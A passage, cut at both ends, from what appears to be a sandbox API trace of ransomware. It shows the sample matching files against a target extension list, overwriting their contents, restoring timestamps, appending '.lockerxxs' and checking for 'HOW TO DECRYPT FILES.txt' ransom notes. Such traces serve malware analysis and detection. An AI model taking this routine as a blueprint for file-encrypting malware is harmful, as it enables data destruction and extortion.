pszSpec="*.qbw") returned 0 [0087.506] lstrlenA (lpString="*.qbw") returned 5 [0087.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.qbb") returned 0 [0087.507] lstrlenA (lpString="*.qbb") returned 5 [0087.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.qbm") returned 0 [0087.507] lstrlenA (lpString="*.qbm") returned 5 [0087.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.qbo") returned 0 [0087.507] lstrlenA (lpString="*.qbo") returned 5 [0087.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.qbx") returned 0 [0087.507] lstrlenA (lpString="*.qbx") returned 5 [0087.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.qba") returned 0 [0087.507] lstrlenA (lpString="*.qba") returned 5 [0087.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.qby") returned 0 [0087.507] lstrlenA (lpString="*.qby") returned 5 [0087.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.qbj") returned 0 [0087.507] lstrlenA (lpString="*.qbj") returned 5 [0087.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.ofx") returned 0 [0087.507] lstrlenA (lpString="*.ofx") returned 5 [0087.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.qif") returned 0 [0087.507] lstrlenA (lpString="*.qif") returned 5 [0087.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.mye") returned 0 [0087.507] lstrlenA (lpString="*.mye") returned 5 [0087.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.mbox") returned 0 [0087.508] lstrlenA (lpString="*.mbox") returned 6 [0087.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.eml") returned 0 [0087.508] lstrlenA (lpString="*.eml") returned 5 [0087.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.pst") returned 0 [0087.508] lstrlenA (lpString="*.pst") returned 5 [0087.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.ost") returned 0 [0087.508] lstrlenA (lpString="*.ost") returned 5 [0087.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.idx") returned 0 [0087.508] lstrlenA (lpString="*.idx") returned 5 [0087.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.dbx") returned 0 [0087.508] lstrlenA (lpString="*.dbx") returned 5 [0087.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.sql") returned 0 [0087.508] lstrlenA (lpString="*.sql") returned 5 [0087.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.mdb") returned 0 [0087.508] lstrlenA (lpString="*.mdb") returned 5 [0087.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.fdb") returned 0 [0087.508] lstrlenA (lpString="*.fdb") returned 5 [0087.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.wab") returned 0 [0087.508] lstrlenA (lpString="*.wab") returned 5 [0087.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.dat") returned 0 [0087.509] lstrlenA (lpString="*.dat") returned 5 [0087.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.txt") returned 0 [0087.509] lstrlenA (lpString="*.txt") returned 5 [0087.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.jpeg") returned 0 [0087.509] lstrlenA (lpString="*.jpeg") returned 6 [0087.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.jpg") returned 0 [0087.509] lstrlenA (lpString="*.jpg") returned 5 [0087.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.png") returned 1 [0087.509] lstrlenA (lpString="*.png") returned 5 [0087.509] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png" [0087.509] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png" [0087.509] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png." [0087.509] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png.lockerxxs" [0087.509] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\j5dmj4bc_f.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.510] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf60f [0087.510] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x181ceae0, dwHighDateTime=0x1d5e73c), lpLastAccessTime=0x407536*(dwLowDateTime=0xda30880, dwHighDateTime=0x1d5e0d2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xda30880, dwHighDateTime=0x1d5e0d2)) returned 1 [0087.510] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.510] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xf5e9, lpOverlapped=0x0) returned 1 [0087.513] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png") returned="J5dmj4BC_F.png" [0087.514] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.514] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xf5e9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xf5e9, lpOverlapped=0x0) returned 1 [0087.514] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.515] CloseHandle (hObject=0x8c) returned 1 [0087.515] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\j5dmj4bc_f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\j5dmj4bc_f.png.lockerxxs")) returned 1 [0087.516] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8895a000, ftCreationTime.dwHighDateTime=0x1d5d878, ftLastAccessTime.dwLowDateTime=0xa6074d10, ftLastAccessTime.dwHighDateTime=0x1d5e6f5, ftLastWriteTime.dwLowDateTime=0xa6074d10, ftLastWriteTime.dwHighDateTime=0x1d5e6f5, nFileSizeHigh=0x0, nFileSizeLow=0x152ba, dwReserved0=0x32000331, dwReserved1=0x4e00c4, cFileName="JcAPqtvzdVIMj.mp4", cAlternateFileName="JCAPQT~1.MP4")) returned 1 [0087.516] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.516] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="JcAPqtvzdVIMj.mp4") returned -1 [0087.516] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="JcAPqtvzdVIMj.mp4") returned -1 [0087.516] lstrcmpiA (lpString1="", lpString2="JcAPqtvzdVIMj.mp4") returned -1 [0087.516] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png") returned="J5dmj4BC_F.png" [0087.516] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.517] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.517] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.517] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.517] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="JcAPqtvzdVIMj.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4" [0087.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.ems") returned 0 [0087.517] lstrlenA (lpString="*.ems") returned 5 [0087.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.db") returned 0 [0087.517] lstrlenA (lpString="*.db") returned 4 [0087.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.dbf") returned 0 [0087.517] lstrlenA (lpString="*.dbf") returned 5 [0087.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.myox") returned 0 [0087.517] lstrlenA (lpString="*.myox") returned 6 [0087.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.myo") returned 0 [0087.517] lstrlenA (lpString="*.myo") returned 5 [0087.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.qbw") returned 0 [0087.517] lstrlenA (lpString="*.qbw") returned 5 [0087.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.qbb") returned 0 [0087.518] lstrlenA (lpString="*.qbb") returned 5 [0087.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.qbm") returned 0 [0087.518] lstrlenA (lpString="*.qbm") returned 5 [0087.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.qbo") returned 0 [0087.518] lstrlenA (lpString="*.qbo") returned 5 [0087.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.qbx") returned 0 [0087.518] lstrlenA (lpString="*.qbx") returned 5 [0087.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.qba") returned 0 [0087.518] lstrlenA (lpString="*.qba") returned 5 [0087.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.qby") returned 0 [0087.518] lstrlenA (lpString="*.qby") returned 5 [0087.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.qbj") returned 0 [0087.518] lstrlenA (lpString="*.qbj") returned 5 [0087.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.ofx") returned 0 [0087.518] lstrlenA (lpString="*.ofx") returned 5 [0087.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.qif") returned 0 [0087.518] lstrlenA (lpString="*.qif") returned 5 [0087.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.mye") returned 0 [0087.519] lstrlenA (lpString="*.mye") returned 5 [0087.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.mbox") returned 0 [0087.519] lstrlenA (lpString="*.mbox") returned 6 [0087.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.eml") returned 0 [0087.519] lstrlenA (lpString="*.eml") returned 5 [0087.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.pst") returned 0 [0087.519] lstrlenA (lpString="*.pst") returned 5 [0087.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.ost") returned 0 [0087.519] lstrlenA (lpString="*.ost") returned 5 [0087.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.idx") returned 0 [0087.519] lstrlenA (lpString="*.idx") returned 5 [0087.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.dbx") returned 0 [0087.519] lstrlenA (lpString="*.dbx") returned 5 [0087.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.sql") returned 0 [0087.519] lstrlenA (lpString="*.sql") returned 5 [0087.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.mdb") returned 0 [0087.519] lstrlenA (lpString="*.mdb") returned 5 [0087.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.fdb") returned 0 [0087.519] lstrlenA (lpString="*.fdb") returned 5 [0087.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.wab") returned 0 [0087.520] lstrlenA (lpString="*.wab") returned 5 [0087.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.dat") returned 0 [0087.520] lstrlenA (lpString="*.dat") returned 5 [0087.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.txt") returned 0 [0087.520] lstrlenA (lpString="*.txt") returned 5 [0087.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.jpeg") returned 0 [0087.520] lstrlenA (lpString="*.jpeg") returned 6 [0087.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.jpg") returned 0 [0087.520] lstrlenA (lpString="*.jpg") returned 5 [0087.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.png") returned 0 [0087.520] lstrlenA (lpString="*.png") returned 5 [0087.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.php") returned 0 [0087.520] lstrlenA (lpString="*.php") returned 5 [0087.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.cs") returned 0 [0087.520] lstrlenA (lpString="*.cs") returned 4 [0087.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.cpp") returned 0 [0087.520] lstrlenA (lpString="*.cpp") returned 5 [0087.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.rar") returned 0 [0087.521] lstrlenA (lpString="*.rar") returned 5 [0087.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.zip") returned 0 [0087.521] lstrlenA (lpString="*.zip") returned 5 [0087.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.html") returned 0 [0087.521] lstrlenA (lpString="*.html") returned 6 [0087.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.htm") returned 0 [0087.521] lstrlenA (lpString="*.htm") returned 5 [0087.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.xlsx") returned 0 [0087.521] lstrlenA (lpString="*.xlsx") returned 6 [0087.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.xls") returned 0 [0087.521] lstrlenA (lpString="*.xls") returned 5 [0087.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", pszSpec="*.mp4") returned 1 [0087.521] lstrlenA (lpString="*.mp4") returned 5 [0087.521] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4" [0087.521] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4" [0087.521] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4." [0087.521] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4.lockerxxs" [0087.521] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jcapqtvzdvimj.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.522] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x152ba [0087.522] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x8895a000, dwHighDateTime=0x1d5d878), lpLastAccessTime=0x407536*(dwLowDateTime=0xa6074d10, dwHighDateTime=0x1d5e6f5), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa6074d10, dwHighDateTime=0x1d5e6f5)) returned 1 [0087.522] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.522] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x15294, lpOverlapped=0x0) returned 1 [0087.525] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4") returned="JcAPqtvzdVIMj.mp4" [0087.526] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.526] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x15294, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x15294, lpOverlapped=0x0) returned 1 [0087.526] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.527] CloseHandle (hObject=0x8c) returned 1 [0087.527] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jcapqtvzdvimj.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jcapqtvzdvimj.mp4.lockerxxs")) returned 1 [0087.528] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97f94230, ftCreationTime.dwHighDateTime=0x1d5da0e, ftLastAccessTime.dwLowDateTime=0x258916a0, ftLastAccessTime.dwHighDateTime=0x1d5e2ef, ftLastWriteTime.dwLowDateTime=0x258916a0, ftLastWriteTime.dwHighDateTime=0x1d5e2ef, nFileSizeHigh=0x0, nFileSizeLow=0x110f7, dwReserved0=0x33000330, dwReserved1=0x4e00c4, cFileName="K06aDxWF9q8anbIw.mp4", cAlternateFileName="K06ADX~1.MP4")) returned 1 [0087.528] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.528] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="K06aDxWF9q8anbIw.mp4") returned -1 [0087.528] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="K06aDxWF9q8anbIw.mp4") returned -1 [0087.528] lstrcmpiA (lpString1="", lpString2="K06aDxWF9q8anbIw.mp4") returned -1 [0087.642] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JcAPqtvzdVIMj.mp4") returned="JcAPqtvzdVIMj.mp4" [0087.642] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: 